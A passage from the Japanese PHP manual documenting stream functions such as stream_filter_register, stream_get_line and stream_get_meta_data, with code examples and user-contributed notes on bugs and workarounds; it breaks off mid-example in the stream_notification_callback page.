フィルタを実装するには、まず、php_user_filter を継承したクラスのメンバ関数を実装しなくてはなりません。 PHP は、書き込みまたは読み出し操作を カスタムフィルタの付加されたストリームに対して行う際に、まず データをそのフィルタに(そして、付加されている他のすべてのフィルタにも) 渡し、指示どおりストリームのデータが変更されるようにします。 メソッドの実装は、php_user_filter の説明の通りにしなければなりません。 さもないと、定義されていない動作をします。

返り値

成功した場合に true を、失敗した場合に false を返します。

stream_filter_register() は、 指定された filter_name がすでに定義されている場合、 false を返します。

例

例1 foo-bar.txt ストリームの文字を大文字化するフィルタ

下記の例は、読み込まれたり書き出されたりするデータに含まれるすべての英文字を 大文字化する strtoupper ストリームを実装し、foo-bar.txt ストリームに適用するものです。

<?php

/* フィルタクラスを定義する */
class strtoupper_filter extends php_user_filter {
  function filter($in, $out, &$consumed, $closing)
  {
    while ($bucket = stream_bucket_make_writeable($in)) {
      $bucket->data = strtoupper($bucket->data);
      $consumed += $bucket->datalen;
      stream_bucket_append($out, $bucket);
    }
    return PSFS_PASS_ON;
  }
}

/* PHP にフィルタを登録する */
stream_filter_register("strtoupper", "strtoupper_filter")
    or die("Failed to register filter");

$fp = fopen("foo-bar.txt", "w");

/* フィルタを開いたストリームに付加する */
stream_filter_append($fp, "strtoupper");

fwrite($fp, "Line1\n");
fwrite($fp, "Word - 2\n");
fwrite($fp, "Easy As 123\n");

fclose($fp);

/* ファイルを読み出し出力する
 */
readfile("foo-bar.txt");

?>

上の例の出力は以下となります。

LINE1
WORD - 2
EASY AS 123

例2 複数のフィルタ名に対応する一般的なフィルタクラスを登録する

<?php

/* フィルタクラスを定義する */
class string_filter extends php_user_filter {
  var $mode;

  function filter($in, $out, &$consumed, $closing)
  {
    while ($bucket = stream_bucket_make_writeable($in)) {
      if ($this->mode == 1) {
        $bucket->data = strtoupper($bucket->data);
      } elseif ($this->mode == 0) {
        $bucket->data = strtolower($bucket->data);
      }

      $consumed += $bucket->datalen;
      stream_bucket_append($out, $bucket);
    }
    return PSFS_PASS_ON;
  }

  function onCreate()
  {
    if ($this->filtername == 'str.toupper') {
      $this->mode = 1;
    } elseif ($this->filtername == 'str.tolower') {
      $this->mode = 0;
    } else {
      /* その他の str.* フィルタが問い合わせられた場合は
         失敗を報告し、PHP が検索を続けられるようにする */
      return false;
    }

    return true;
  }
}

/* PHP にフィルタを登録する */
stream_filter_register("str.*", "string_filter")
    or die("Failed to register filter");

$fp = fopen("foo-bar.txt", "w");

/* フィルタを開いたストリームに付加する
   ここで str.tolower をバインドすることも可能 */
stream_filter_append($fp, "str.toupper");

fwrite($fp, "Line1\n");
fwrite($fp, "Word - 2\n");
fwrite($fp, "Easy As 123\n");

fclose($fp);

/* ファイルを読み出し出力する
 */
readfile("foo-bar.txt");
?>

上の例の出力は以下となります。

LINE1
WORD - 2
EASY AS 123

参考

  • stream_wrapper_register() - PHP のクラスとして実装された URL ラッパーを登録する
  • stream_filter_append() - ストリームにフィルタを付加する
  • stream_filter_prepend() - フィルタをストリームに付加する

User Contributed Notes

There are no user contributed notes for this page.


ストリームからフィルタを取り除く

  • ≪ stream_filter_register
  • stream_get_contents ≫
  • PHP Manual
  • ストリーム 関数
  • ストリームからフィルタを取り除く

stream_filter_remove

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

stream_filter_remove — ストリームからフィルタを取り除く

説明

stream_filter_remove ( resource $stream_filter ) : bool

事前に stream_filter_prepend() あるいは stream_filter_append() でストリームに追加した フィルタを削除します。フィルタの内部バッファに残っているデータは 削除前にフラッシュされ、次のフィルタに渡されます。

パラメータ

stream_filter

削除するストリームフィルタ。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 ストリームの再フィルタリングを動的に行う

<?php
/* テストファイルを読み込み/書き込みモードでオープンします */
$fp = fopen("test.txt", "rw");

$rot13_filter = stream_filter_append($fp, "string.rot13", STREAM_FILTER_WRITE);
fwrite($fp, "This is ");
stream_filter_remove($rot13_filter);
fwrite($fp, "a test\n");

rewind($fp);
fpassthru($fp);
fclose($fp);

?>

上の例の出力は以下となります。

Guvf vf a test

参考

  • stream_filter_register() - ユーザー定義のストリームフィルタを登録する
  • stream_filter_append() - ストリームにフィルタを付加する
  • stream_filter_prepend() - フィルタをストリームに付加する

User Contributed Notes

There are no user contributed notes for this page.


残りのストリームを文字列に読み込む

  • ≪ stream_filter_remove
  • stream_get_filters ≫
  • PHP Manual
  • ストリーム 関数
  • 残りのストリームを文字列に読み込む

stream_get_contents

(PHP 5, PHP 7, PHP 8)

stream_get_contents — 残りのストリームを文字列に読み込む

説明

stream_get_contents ( resource $handle , int $maxlength = -1 , int $offset = -1 ) : string|false

file_get_contents() と似ていますが、 stream_get_contents() は既にオープンしている ストリームリソースに対して操作を行います。そして、指定した offset から始まる最大 maxlength バイトのデータを取得して文字列に 保存します。

パラメータ

handle (resource)

ストリームリソース（例: fopen() の返す値）。

maxlength (int)

読み込む最大バイト数。デフォルトは -1 （バッファの残りのデータをすべて読み込む）。

offset (int)

読み込みを開始する前に移動する位置。負の数を指定した場合は移動が発生せず、 現在位置から読み込みを開始します。

返り値

文字列を返します。失敗した場合に false を返します。

例

例1 stream_get_contents() の例

<?php

if ($stream = fopen('http://www.example.com', 'r')) {
    // オフセット 10 から開始して、残りのすべてのページを表示します
    echo stream_get_contents($stream, -1, 10);

    fclose($stream);
}

if ($stream = fopen('http://www.example.net', 'r')) {
    // 最初の 5 バイトを表示します
    echo stream_get_contents($stream, 5);

    fclose($stream);
}

?>

注意

注意: この関数はバイナリデータに対応しています。

参考

  • fgets() - ファイルポインタから 1 行取得する
  • fread() - バイナリセーフなファイルの読み込み
  • fpassthru() - ファイルポインタ上に残っているすべてのデータを出力する

User Contributed Notes

Mike Shiyan 28-Jul-2016 01:49
stream_get_contents() can be used instead of fread() even with local files.
divinity76+nospam at gmail dot com 27-Dec-2015 11:24
/*
 * problem: stream_get_contents blocks / is very slow.
 * I have tried
 * 1: stream_set_blocking, doesn't make a difference.
 * 2: stream_get_meta_data['unread_bytes'] = ITS BUGGED, ALWAYS SAYS 0.
 * 3: feof(): ALSO EFFING BLOCKING
 * 4: my_stream_get_contents hack... kinda working! :D
 */
function my_stream_get_contents ($handle, $timeout_seconds = 0.5)
{
    $ret = "";
    // feof ALSO BLOCKS:
    // while(!feof($handle)){$ret.=stream_get_contents($handle,1);}
    while (true) {
        $starttime = microtime(true);
        $new = stream_get_contents($handle, 1);
        $endtime = microtime(true);
        if (is_string($new) && strlen($new) >= 1) {
            $ret .= $new;
        }
        $time_used = $endtime - $starttime;
        // var_dump('time_used:',$time_used);
        if (($time_used >= $timeout_seconds) || ! is_string($new) ||
                 (is_string($new) && strlen($new) < 1)) {
            break;
        }
    }
    return $ret;
}
vasiliy at hotger dot com 22-Mar-2012 08:38
It is important to know that stream_get_contents behaves differently with different versions of PHP. Consider the following

<?php

$handle = fopen('file', 'w+'); // truncate + attempt to create
fwrite($handle, '12345'); // file position > 0
rewind($handle); // position = 0
$content = stream_get_contents($handle); // file position = 0 in PHP 5.1.6, file position > 0 in PHP 5.2.17!
fwrite($handle, '6789');
fclose($handle);

/**
 *
 * 'file' content
 *
 * PHP 5.1.6:
 * 67895
 *
 * PHP 5.2.17:
 * 123456789
 *
 */
?>

As a result, stream_get_contents() affects file position in 5.1, and do not affect file position in 5.2 or better.
clarck dot smith at gmail dot com 17-Dec-2011 07:12
In that case when stream_get_contents/fread/fgets or other stream reading functions block indefinitely your script because they don't reached the limit of bytes to read use the socket_get_meta_data function to figure out the number of the bytes to read. It returns an array that contains a key named 'unread_bytes' and then pass that number to your favourite stream reading functions second parameter to read from the stream.

Maybe a good workaround to use the stream_select function, and set the socket to non-blocking mode with the use of stream_set_blocking($stream, 0). In this case the socket reading functions work properly.

Cheers, Ervin
m rahman 20-Jan-2011 01:53
When omitting the parameter $maxlength, any received bytes are stacked up until the underlying stream is not readable anymore, the the function returns that stack in one piece.


登録されているフィルタのリストを取得する

  • ≪ stream_get_contents
  • stream_get_line ≫
  • PHP Manual
  • ストリーム 関数
  • 登録されているフィルタのリストを取得する

stream_get_filters

(PHP 5, PHP 7, PHP 8)

stream_get_filters — 登録されているフィルタのリストを取得する

説明

stream_get_filters ( ) : array

実行中のシステムに登録されているフィルタの一覧を取得します。

返り値

使用可能なすべてのストリームフィルタの名前を含む配列を返します。

例

例1 stream_get_filters() を使用する

<?php
$streamlist = stream_get_filters();
print_r($streamlist);
?>

上の例の出力は、 たとえば以下のようになります。

Array (
  [0] => string.rot13
  [1] => string.toupper
  [2] => string.tolower
  [3] => string.base64
  [4] => string.quoted-printable
)

参考

  • stream_filter_register() - ユーザー定義のストリームフィルタを登録する
  • stream_get_wrappers() - 登録されているストリームのラッパーのリストを取得する

User Contributed Notes

Jasper Bekkers 05-Oct-2005 11:53
Filters to be used within the convert filter are base64-encode,  base64-decode, quoted-printable-encode and quoted-printable-decode. Note: those are not in the string filter, as currently reported by the manual!

Example usage is:
<?php
$h = fopen('gecodeerd.txt', 'r');
stream_filter_append($h, 'convert.base64-decode');
fpassthru($h);
fclose($h);
?>
Or
<?php
$filter = 'convert.base64-decode';
$file = 'coded.txt';
$h = fopen('php://filter/read=' . $filter . '/resource=' . $file,'r');
fpassthru($h);
fclose($h);
?>


指定されたデリミタの位置までのデータを一行分としてストリームから読み込む

  • ≪ stream_get_filters
  • stream_get_meta_data ≫
  • PHP Manual
  • ストリーム 関数
  • 指定されたデリミタの位置までのデータを一行分としてストリームから読み込む

stream_get_line

(PHP 5, PHP 7, PHP 8)

stream_get_line — 指定されたデリミタの位置までのデータを一行分としてストリームから読み込む

説明

stream_get_line ( resource $handle , int $length , string $ending = ? ) : string

指定したハンドルから一行取得します。

読み込みは、length バイト読まれたか、 ending で指定された文字列がストリームに見つかった か (この文字列は返値に 含まれません)、あるいは EOF に達したとき、のうち一番最初に遭遇したところで停止します。

この関数は fgets() とほとんど同一ですが、 \n や \r 、\r\n といった一般的な文字列以外を行末を示すデリミタ として指定できる点で、またデリミタ自体を返値に 含まない 点で異なります。

パラメータ

handle

有効なファイルハンドル。

length

ハンドルから読み込むバイト数。

ending

オプションのデリミタ文字列。

返り値

最大 length バイトの、 handle で指定されたリソースから読み込んだデータを返します。

エラーが発生した際には、false を返します。

参考

  • fread() - バイナリセーフなファイルの読み込み
  • fgets() - ファイルポインタから 1 行取得する
  • fgetc() - ファイルポインタから1文字取り出す

User Contributed Notes

kjeld at mail4us dot dk 21-Mar-2013 10:56
I have been struggling with the problem that stream_get_line() sometimes reads too much when the 3rd parameter is used (and the 3rd parameter has a length greater than 1), so $ending is actually contained in the data returned (https://bugs.php.net/bug.php?id=63240).

I don't have the option of upgrading my PHP version but it seems that a workaround can be to insert:

    fseek($fp, ftell($fp));

just before calling stream_get_line().
carltondickson 08-Jan-2013 04:25
If you are specifying the 3rd optional "ending" parameter as a string which is more than one character and actually find that the line returned by the function sometimes contains this "ending" value it may be related to the following bug, https://bugs.php.net/bug.php?id=63240

Our server was running 5.3.18 and when we upgraded to 5.3.20 it worked fine, I believe this was fixed in 5.3.19 though.
Anonymous 08-Jul-2012 03:35
WARNING:
Specifying a length of 0 does NOT give you an infinite length, contrary to what the documentation might suggest. Instead, setting a length of 0 just makes the function default to a length of 8192. To be precise, it gets the value PHP_SOCK_CHUNK_SIZE (8192) in ext/standard/streamsfuncs.c.

So, let's say you're trying to read ALL data until you reach a "\x03" (decimal 3) byte. How do you GUARANTEE that this is the case? Well, there's no way! The only thing you can do stream_get_lin() into a "master" string, then fseek() backwards by 1 character, then fgetc() and verify that it's "\x03". If you don't see a "\x03", it means that stream_get_line() has aborted after 8192 bytes and before hitting "\x03", and you'll have to call it again. Keep appending the return values to a "master" string until you hit a "\x03" or EOF... That's the ONLY way to properly build a string that contains EVERYTHING until the character you're looking for.
pk at ritm dot ru 30-Nov-2009 09:30
fgets is faster but stream_get_line is more useful in a tcp server scripts.

when fgets reads some bytes from socket, where EOF is reached, it returns bool(false) same as stream_get_line

BUT if remote client drops connection, and server script will try to read some data with function fgets, function will return bool(false), and stream_get_line will return string(0) ""

so you can detect remote client disconnection with stream_get_line, and cannot with fgets
amoo_miki at yahoo dot com 19-Aug-2008 10:34
If the "ending" is a string, there are cases where the function doesn't return the correct value for the first time it is called. Don't be shocked if you find it returning a string value of upto "length" that includes the "ending". (See bug #44607)

If the "ending" is just a single character, the function would always work correctly. ("\n" is a single character)

Temporarily, until this is fixed, the below function can be used:

<?php
function istream_get_line(&$fp, $length, $end) {
    $current = ftell($fp);
    $str = fread($fp, $length);
    $i = strpos($str, $end);
    if ($i === FALSE) {
        return $str;
    } else {
        fseek($fp, $current + $i + strlen($end));
        return substr($str, 0, $i);
    }
}
?>
Mat Jaggard at Tickets dot com 20-Dec-2007 08:12
I've spent quite a while trying to get stream_get_line to get a chunk encoded html file and to finish correctly at the end so that I can pipeline requests.

This is the function I have come up with.

<?php
    function getURLContents($url, $ip, $port, $ssl = false, $closeConnection = false)
    {
        if ($ssl)
            $ssl = 'ssl://';
        else
            $ssl = '';
        $fp = pfsockopen($ssl.$ip, $port, $errno, $errstr, MAX_TIME_TO_START_CONNECTION);
        if ($fp)
        {
            $out =  'GET '.$url." HTTP/1.1\r\n";
            $out .= 'Host: '.$ip.':'.$port."\r\n";
            if ($closeConnection)
                $out .= "Connection: close\r\n";
            else
                $out .= "Connection: keep-alive\r\n";
            $out .= "\r\n";
            if (!fwrite($fp, $out))
            {
                echo 'Problem writing to socket, opening a new connection.';
                fclose($fp);
                $fp = pfsockopen($ssl.$ip, $port, $errno, $errstr, MAX_TIME_TO_START_CONNECTION);
                fwrite($fp, $out);
            }
            $theData = '';
            $notDone = true;
            stream_set_blocking($fp, 0);
            $startTime = time();
            $lastTime = $startTime;
            while (!feof($fp) && !$done && (($startTime + MAX_TIME_FOR_THE_RESPONSE) > time()))
            {
                usleep(100);
                $theNewData = stream_get_line($fp, 1024, "\n");
                $theData .= $theNewData;
                $done = (trim($theNewData) === '0');

            }
        }
        else
        {
            echo 'ERROR CONNECTING TO '.$ip.':'.$port;
            return false;
        }
        if ($closeConnection)
            fclose($fp);
        return $theData;
    }
?>
dante at lorenso dot com 08-Jun-2006 12:34
My testing has found this function to be dramatically faster than fgets on PHP 5.1.14.  The difference is probably due to how buffering is used internally.  Compare the following:
<?php
// reads 10,000 lines in 27 seconds
while (!feof($handle)) {
    $line = fgets($handle, 1000000);
}
?>
vs.
<?php
// reads 10,000 lines in 0.5 seconds
while (!feof($handle)) {
    $line = stream_get_line($handle, 1000000, "\n");
}
?>
18-Apr-2006 02:07
In version 5.0.4 using this funtion and then calling ftell($stream) would give you the position up to but not including the "ending" string.

When I rev'd to PHP version 5.1.2, calling this function then using ftell($stream) would give the position up to AND including the "ending" string

for example, parsing HTTP responses.

The response from apache using curl....
------------------------------------------------------------
HTTP/1.1 200 OK
Date: Tue, 18 Apr 2006 20:54:59 GMT
Server: Apache/1.3.33 (Unix) PHP/5.0.4 mod_ssl/2.8.22 OpenSSL/0.9.7e
X-Powered-By: PHP/5.0.4
Transfer-Encoding: chunked
Content-Type: text/html

<html><body>test</body></html>
-------------------------------------------------------------

The code:

<?php

  $headers = stream_get_line($in,4096,"\r\n\r\n");

   fseek ($in,ftell($in)+4);

   while (!feof($in)){
      fputs ($out,stream_get_line($in,4096,''));
   }

?>

prior to my 5.0.4 this worked perfectly, trimming the \r\n\r\n section of the HTTP response and seperating the top into the $headers string, and the rest was placed into the file handle $out.

using php 5.1.2, the above code chopps off the first 4 bytes of the HTTP response and puts

l><body>test</body></html>

into $out.


ヘッダーあるいはメタデータをストリームまたはファイルポインタから取得する

  • ≪ stream_get_line
  • stream_get_transports ≫
  • PHP Manual
  • ストリーム 関数
  • ヘッダーあるいはメタデータをストリームまたはファイルポインタから取得する

stream_get_meta_data

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

stream_get_meta_data — ヘッダーあるいはメタデータをストリームまたはファイルポインタから取得する

説明

stream_get_meta_data ( resource $stream ) : array

既存の stream に関する情報を返します。

パラメータ

stream

ストリームは fopen() か、 fsockopen() か、pfsockopen() で 作成されたいずれのものも指定できます。

返り値

結果の配列は次のような項目を含みます。

  • timed_out (bool) - 最後に fread() または fgets() でデータを待っている時にタイムアウトした場合 true を返します。

  • blocked (bool) - ストリームがブロック I/O モードの場合に true となります。 stream_set_blocking() を参照ください。

  • eof (bool) - ストリームが EOF に 達した時 true となります。 ストリームがソケットベースの場合、このメンバーは、 たとえ unread_bytes が 0 でなくても true になる場合があることに注意してください。 まだデータがあるかどうかを調べるには、このパラメータではなく、 feof() を使ってください。

  • unread_bytes (int) - PHP の 内部バッファにあるデータのバイト数。

    注意: スクリプト中でこの値を使用してはいけません。

  • stream_type (string) - ストリームの下層にある実装を表すラベル

  • wrapper_type (string) - ストリームを覆うプロトコルラッパーを表すラベル。 ラッパーについては サポートするプロトコル/ラッパー を参照ください。

  • wrapper_data (mixed) - ストリームに付随しているラッパーの固有のデータ。 ラッパーとその固有の情報については、サポートするプロトコル/ラッパー を参照ください。

  • mode (string) - このストリームに要求される アクセスモード（fopen() リファレンスの表 1 を参照ください）。

  • seekable (bool) - 現在のストリーム内で 移動が可能かどうか。

  • uri (string) - このストリームに関連付けられた URI / ファイル名。

例

例1 stream_get_meta_data() の例

<?php
$url = 'http://www.example.com/';

if (!$fp = fopen($url, 'r')) {
    trigger_error("Unable to open URL ($url)", E_USER_ERROR);
}

$meta = stream_get_meta_data($fp);

print_r($meta);

fclose($fp);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [wrapper_data] => Array
        (
            [0] => HTTP/1.1 200 OK
            [1] => Server: Apache/2.2.3 (Red Hat)
            [2] => Last-Modified: Tue, 15 Nov 2005 13:24:10 GMT
            [3] => ETag: "b300b4-1b6-4059a80bfd280"
            [4] => Accept-Ranges: bytes
            [5] => Content-Type: text/html; CHARSET=shift-jis
            [6] => Set-Cookie: FOO=BAR; expires=Fri, 21-Dec-2012 12:00:00 GMT; path=/; domain=.example.com
            [6] => Connection: close
            [7] => Date: Fri, 16 Oct 2009 12:00:00 GMT
            [8] => Age: 1164
            [9] => Content-Length: 438
        )

    [wrapper_type] => http
    [stream_type] => tcp_socket/ssl
    [mode] => r
    [unread_bytes] => 438
    [seekable] =>
    [uri] => http://www.example.com/
    [timed_out] =>
    [blocked] => 1
    [eof] =>
)

注意

注意:

この関数は、Socket 拡張モジュール で作成したソケットでは動作しません。

参考

  • get_headers() - HTTP リクエストに対するレスポンス内で サーバーによって送出された全てのヘッダを取得する
  • $http_response_header

User Contributed Notes

derkontrollfreak+9hy5l at gmail dot com 24-Aug-2014 09:11
Apparently, custom wrappers are always seekable.
php dot chaska at xoxy dot net 06-Jun-2014 08:42
In PHP 5.4.24 and 5.4.25, this command does not correctly return the stream blocking status.  It always returns ['blocked'] == 1 regardless of the actual blocking mode.  A call to stream_set_blocking($stream, 0) will succeed (return TRUE) and subsequent calls to stream_get_contents($stream) will NOT block, even though a call to stream_get_meta_data($stream) will return 'blocked' == 1.  Hopefully this will save some people a bunch of debugging time.

See bug report #47918 for more information (http://bugs.php.net/bug.php?id=47918).

Proof:
<?php
$d = array(
    0 => array('pipe', 'r'),
    1 => array('pipe', 'w'),
    2 => array('file', 'error.log', 'a')
);

$p = proc_open('php -S localhost:8000', $d, $pipes);

if (!is_resource($p))   die("proc_open() failed\n");

// Set child's stdout pipe to non-blocking.
if (!stream_set_blocking($pipes[1], 0)) {
    die("stream_set_blocking() failed\n");
}
else {
    echo "Non-blocking mode should be set.\n";
}

// View the status of that same pipe.
// Note that 'blocked' is 1!  This appears to be wrong.
print_r(stream_get_meta_data($pipes[1]));

// Try to read something.  This will block if in blocking mode.
// If it does not block, stream_set_blocking() worked but
// stream_get_meta_data() is lying about blocking mode.
$data = stream_get_contents($pipes[1]);

echo "data = '$data'\n";
?>

Output:
Non-blocking mode should be set.
Array
(
    [stream_type] => STDIO
    [mode] => r
    [unread_bytes] => 0
    [seekable] =>
    [timed_out] =>
    [blocked] => 1         // << claims to be in blocking mode
    [eof] =>
)
data = ''                      // this would never appear if we blocked.
niels at nise81 dot com 03-Mar-2008 05:49
here is just an example how to read out all meta data.
how ever I found out that the "seekable"-entry doesn't exist in most of the streaming media files.

      if (!($fp = @fopen($url, 'r')))
         return NULL;

      $meta = stream_get_meta_data($fp);

          foreach(array_keys($meta) as $h){
              $v = $meta[$h];
              echo "".$h.": ".$v."<br/>";
              if(is_array($v)){
                  foreach(array_keys($v) as $hh){
                      $vv = $v[$hh];
                      echo "_".$hh.": ".$vv."<br/>";
                  }
              }
          }
      fclose($fp);
ed at readinged dot com 28-Jan-2003 07:54
Below is a function I wrote to pull the "Last-Modified" header from a given URL.  In PHP version 4.3 and above, it takes advantage of the stream_get_meta_data function, and in older version it uses a conventional GET procedure.  On failure to connect to $url, it returns NULL.  If the server does not return the Last-Modified header, it returns the current time.  All times are returned in PHP's integer format (seconds since epoch).

Use it as so:

$last_modified = stream_last_modified('http://www.php.net/news.rss');
if (!is_null($last_modified))
   if ($last_modified < time()-3600) //Older than an hour
      echo 'URL is older than an hour.';
   else
      echo 'URL is fairly new.';
else
   echo 'Invalid URL!';

function stream_last_modified($url)
{
   if (function_exists('version_compare') && version_compare(phpversion(), '4.3.0') > 0)
   {
      if (!($fp = @fopen($url, 'r')))
         return NULL;

      $meta = stream_get_meta_data($fp);
      for ($j = 0; isset($meta['wrapper_data'][$j]); $j++)
      {
         if (strstr(strtolower($meta['wrapper_data'][$j]), 'last-modified'))
         {
            $modtime = substr($meta['wrapper_data'][$j], 15);
            break;
         }
      }
      fclose($fp);
   }
   else
   {
      $parts = parse_url($url);
      $host  = $parts['host'];
      $path  = $parts['path'];

      if (!($fp = @fsockopen($host, 80)))
         return NULL;

      $req = "HEAD $path HTTP/1.0\r\nUser-Agent: PHP/".phpversion()."\r\nHost: $host:80\r\nAccept: */*\r\n\r\n";
      fputs($fp, $req);

      while (!feof($fp))
      {
         $str = fgets($fp, 4096);
         if (strstr(strtolower($str), 'last-modified'))
         {
            $modtime = substr($str, 15);
            break;
         }
      }
      fclose($fp);
  }
   return isset($modtime) ? strtotime($modtime) : time();
}


登録されたソケットのトランスポートの一覧を取得する

  • ≪ stream_get_meta_data
  • stream_get_wrappers ≫
  • PHP Manual
  • ストリーム 関数
  • 登録されたソケットのトランスポートの一覧を取得する

stream_get_transports

(PHP 5, PHP 7, PHP 8)

stream_get_transports — 登録されたソケットのトランスポートの一覧を取得する

説明

stream_get_transports ( ) : array

スクリプトを走らせているシステムにおいて利用可能なソケットのトランスポートのリストを配列として返します。

返り値

ソケットのトランスポート名の配列を返します。

例

例1 stream_get_transports() を使った例

<?php
$xportlist = stream_get_transports();
print_r($xportlist);
?>

上の例の出力は、 たとえば以下のようになります。

Array (
  [0] => tcp
  [1] => udp
  [2] => unix
  [3] => udg
)

参考

  • stream_get_filters() - 登録されているフィルタのリストを取得する
  • stream_get_wrappers() - 登録されているストリームのラッパーのリストを取得する

User Contributed Notes

There are no user contributed notes for this page.


登録されているストリームのラッパーのリストを取得する

  • ≪ stream_get_transports
  • stream_is_local ≫
  • PHP Manual
  • ストリーム 関数
  • 登録されているストリームのラッパーのリストを取得する

stream_get_wrappers

(PHP 5, PHP 7, PHP 8)

stream_get_wrappers — 登録されているストリームのラッパーのリストを取得する

説明

stream_get_wrappers ( ) : array

実行中のシステムで使用可能な、登録済みのストリームの一覧を取得します。

返り値

スクリプトを走らせているシステム上で使うことのできるすべてのストリーム ラッパーの名前を配列の形で返します。

例

例1 stream_get_wrappers() の例

<?php
print_r(stream_get_wrappers());
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => php
    [1] => file
    [2] => http
    [3] => ftp
    [4] => compress.bzip2
    [5] => compress.zlib
)

例2 ストリームラッパーのが存在するかどうかを調べる

<?php
// bzip2 ストリームラッパーが存在するかどうかを調べます
if (in_array('compress.bzip2', stream_get_wrappers())) {
    echo 'compress.bzip2:// サポートが有効です。';
} else {
    echo 'compress.bzip2:// サポートは有効ではありません。';
}
?>

参考

  • stream_wrapper_register() - PHP のクラスとして実装された URL ラッパーを登録する

User Contributed Notes

There are no user contributed notes for this page.


ローカルストリームかどうかを調べる

  • ≪ stream_get_wrappers
  • stream_isatty ≫
  • PHP Manual
  • ストリーム 関数
  • ローカルストリームかどうかを調べる

stream_is_local

(PHP 5 >= 5.2.4, PHP 7, PHP 8)

stream_is_local — ローカルストリームかどうかを調べる

説明

stream_is_local ( resource|string $stream ) : bool

ストリームあるいは URL が、ローカルのものであるかどうかを調べます。

パラメータ

stream

調べたいストリームリソースあるいは URL。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 stream_is_local() の例

基本的な使用例です。

<?php
var_dump(stream_is_local("http://example.com"));
var_dump(stream_is_local("/etc"));
?>

上の例の出力は、 たとえば以下のようになります。

bool(false)
bool(true)

User Contributed Notes

Gemorroj 17-Feb-2018 09:20
but hhvm for `file://shouldbelocal.jpg` returns true
https://3v4l.org/ULCni
php at kalpaitch dot com 24-May-2017 10:33
It appears to return incorrectly for 'file://' wrapper which I would consider to be local.

CODE:
$file1 = '/somefile.jpg';
$file2 = 'file://shouldbelocal.jpg';
$file3 = 'http://someotherfile.jpg';

$local = stream_is_local($file1);
$shouldbelocal = stream_is_local($file2);
$remote = stream_is_local($file3);
var_dump($local, $shouldbelocal, $remote);

RESULT:
bool(true)
bool(false)
bool(false)
Anonymous 20-Feb-2017 02:30
this is not a bug
mounting a remote filesystem locally "imports" it so it is available to userland programs like a local directory.
sam at NOSPAM dot bogus dot tld 22-Nov-2016 12:56
The function stream_is_local() does not work with remote mounts points, like sshfs mount points (it will return true as if it was local).


Check if a stream is a TTY

  • ≪ stream_is_local
  • stream_notification_callback ≫
  • PHP Manual
  • ストリーム 関数
  • Check if a stream is a TTY

stream_isatty

(PHP 7 >= 7.2.0, PHP 8)

stream_isatty — Check if a stream is a TTY

説明

stream_isatty ( resource $stream ) : bool

Determines if stream stream refers to a valid terminal type device. This is a more portable version of posix_isatty(), since it works on Windows systems too.

パラメータ

stream

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 stream_isatty() example

This command can be used to determine if a standard output / standard error stream is redirected to a file.

php -r "var_export(stream_isatty(STDERR));"

上の例の出力は、 たとえば以下のようになります。

true
php -r "var_export(stream_isatty(STDERR));" 2>output.txt

上の例の出力は、 たとえば以下のようになります。

false

User Contributed Notes

There are no user contributed notes for this page.


notification コンテキストパラメータ用のコールバック関数

  • ≪ stream_isatty
  • stream_register_wrapper ≫
  • PHP Manual
  • ストリーム 関数
  • notification コンテキストパラメータ用のコールバック関数

stream_notification_callback

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

stream_notification_callback — notification コンテキストパラメータ用のコールバック関数

説明

stream_notification_callback ( int $notification_code , int $severity , string $message , int $message_code , int $bytes_transferred , int $bytes_max ) : void

イベント発生時にコールされる callable 関数です。 notification context parameter が使用します。

注意:

これは実際の関数では ありません。 コールバック関数がどうあるべきかというプロトタイプだけを示すものです。

パラメータ

notification_code

STREAM_NOTIFY_* 通知定数のひとつ。

severity

STREAM_NOTIFY_SEVERITY_* 通知定数のひとつ。

message

イベントについて説明するメッセージが存在する場合に渡されます。

message_code

イベントについて説明するコードが存在する場合に渡されます。

この値の意味は、使用するラッパーによって異なります。

bytes_transferred

利用可能な場合は bytes_transferred の値が格納されます。

bytes_max

利用可能な場合は bytes_max の値が格納されます。

返り値

値を返しません。

例

例1 stream_notification_callback() の例

<?php
function stream_notification_callback($notification_code, $severity, $message, $message_code, $bytes_transferred, $bytes_max) {

    switch($notification_code) {
        case STREAM_NOTIFY_RESOLVE:
        case STREAM_NOTIFY_AUTH_REQUIRED:
        case STREAM_NOTIFY_COMPLETED:
        case STREAM_NOTIFY_FAILURE:
        case STREAM_NOTIFY_AUTH_RESULT:
            var_dump($notification_code, $severity, $message, $message_code, $bytes_transferred, $bytes_max);
            /* 無視 */
            break;

        case STREAM_NOTIFY_REDIRECTED:
            echo "Being redirected to: ", $message;
            break;

        case STREAM_NOTIFY_CONNECT:
            echo "Connected...";
            break;

        case STREAM_NOTIFY_FILE_SIZE_IS:
            echo "Got the filesize: ", $bytes_max;
            break;

        case STREAM_NOTIFY_MIME_TYPE_IS:
            echo "Found the mime-type: ", $message;
            break;

        case STREAM_NOTIFY_PROGRESS:
            echo "Made some progress, downloaded ", $bytes_transferred, " so far";
            break;
    }
    echo "\n";
}

$ctx = stream_context_create();
stream_context_set_params($ctx, array("notification" => "stream_notification_callback"));

file_get_contents("http://php.net/contact", false, $ctx);
?>

上の例の出力は、 たとえば以下のようになります。

Connected...
Found the mime-type: text/html; CHARSET=shift-jis
Being redirected to: http://no.php.net/contact
Connected...
Got the filesize: 0
Found the mime-type: text/html; CHARSET=shift-jis
Being redirected to: http://no.php.net/contact.php
Connected...
Got the filesize: 4589
Found the mime-type: text/html;CHARSET=shift-jis
Made some progress, downloaded 0 so far
Made some progress, downloaded 0 so far
Made some progress, downloaded 0 so far
Made some progress, downloaded 1440 so far
Made some progress, downloaded 2880 so far
Made some progress, downloaded 4320 so far
Made some progress, downloaded 5760 so far
Made some progress, downloaded 6381 so far
Made some progress, downloaded 7002 so far

例2 コマンドラインのダウンロードツール用のシンプルなプログレスバー

<?php
function usage($argv) {
    echo "Usage:\n";
    printf("\tphp %s <http://example.com/file> <localfile>\n", $argv[0]);
    exit(1);
}

function stream_notification_callback($notification_code, $severity, $message, $message_code, $bytes_transferred, $bytes_max) {
    static $filesize = null;

    switch($notification_code) {
    case STREAM_NOTIFY_RESOLVE:
    case STREAM_NOTIFY_AUTH_REQUIRED:
